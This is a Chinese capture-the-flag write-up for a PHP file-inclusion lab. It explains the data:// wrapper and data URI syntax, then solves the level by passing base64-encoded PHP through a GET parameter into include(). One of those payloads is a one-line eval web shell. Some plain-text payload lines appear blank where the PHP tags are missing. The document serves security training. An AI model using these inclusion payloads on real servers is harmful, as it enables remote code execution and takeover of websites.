[HelloCTF]PHPinclude-labs超详细WP-Level 2-data协议

源码分析

  • 重点关注这两行代码

    • echo include("data://text/plain;base64,4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3");
      
      isset($_GET['wrappers']) ? include("data://text/plain".$_GET['wrappers']) : '';
      
  • 发现这里出现了 data协议

    • data:// - 数据流(RFC 2397)

      • 摘自-> https://da7uran0ir.github.io/2018/07/24/php%E6%94%AF%E6%8C%81%E7%9A%84%E5%8D%8F%E8%AE%AE/data%E5%8D%8F%E8%AE%AE/

      • 依赖

        • allow_url_fopen:On;

        • allow_url_include:On;

        • PHP_Version>=5.2.0

      • data://text/plain;base64,
        data:资源类型;编码,内容
        data:[][;charset=][;base64],
        
      • 第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。

      • 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。

      • 第三部分是编码设置,默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx,

        • 关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看

        • 效果:// output: ä½ å¥½             ->使用默认的编码展示,故乱码
          data:text/html,你好  
          // output: 你好 -> 使用 UTF-8 展示
          data:text/html;charset=UTF-8,你好
          // output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码)
          data:text/html;charset=gbk,你好
          // output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示
          data:text/html;charset=UTF-8;base64,5L2g5aW9
          
      • 第四部分是 base64编码设定,这是一个可选项,base64 编码中仅包含0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。

      • 最后一部分为这个Data URI承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。

      • data:,<文本数据>
        data:text/plain,<文本数据>
        data:text/html,
        data:text/html;base64,
        data:text/css,
        data:text/css;base64,
        data:text/javascript,
        data:text/javascript;base64,
        data:image/gif;base64,base64编码的gif图片数据
        data:image/png;base64,base64编码的png图片数据
        data:image/jpeg;base64,base64编码的jpeg图片数据
        data:image/x-icon;base64,base64编码的icon图片数据
        
  • 而第一句给出了一个演示

    • 先把 4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3 base64编码 解密出来看看, 如下

      • ◝(⁰▿⁰)◜Hello-CTFww
    • 而这句代码就是通过 data协议 将上述内容传递给 include() 函数

  • 而第二句则是把 GET 参数 wrappers 通过 data协议的方式 传递给 include() 函数

    • 并且通过 text/plain; 限制了文本类型

解题分析

  • 为了获取flag, 我们是否可以通过 data协议 传递一句话木马给 include()

  • 先拿 举例, 构造 Payload

    • data://text/plain,
      
    • 而我们需要传参的只有 ,

    • 当然也可以把 base64编码 后再传, 比如

      • data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
        

解题步骤

  • 尝试传入一句话木马

    • data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+
      
    • 或者也可以传入未经过 base64编码 的

    • 记得对 Payload 进行URL编码

  • 然后再同时执行一句话木马

你可能感兴趣的:(WP,php,网络安全,web安全)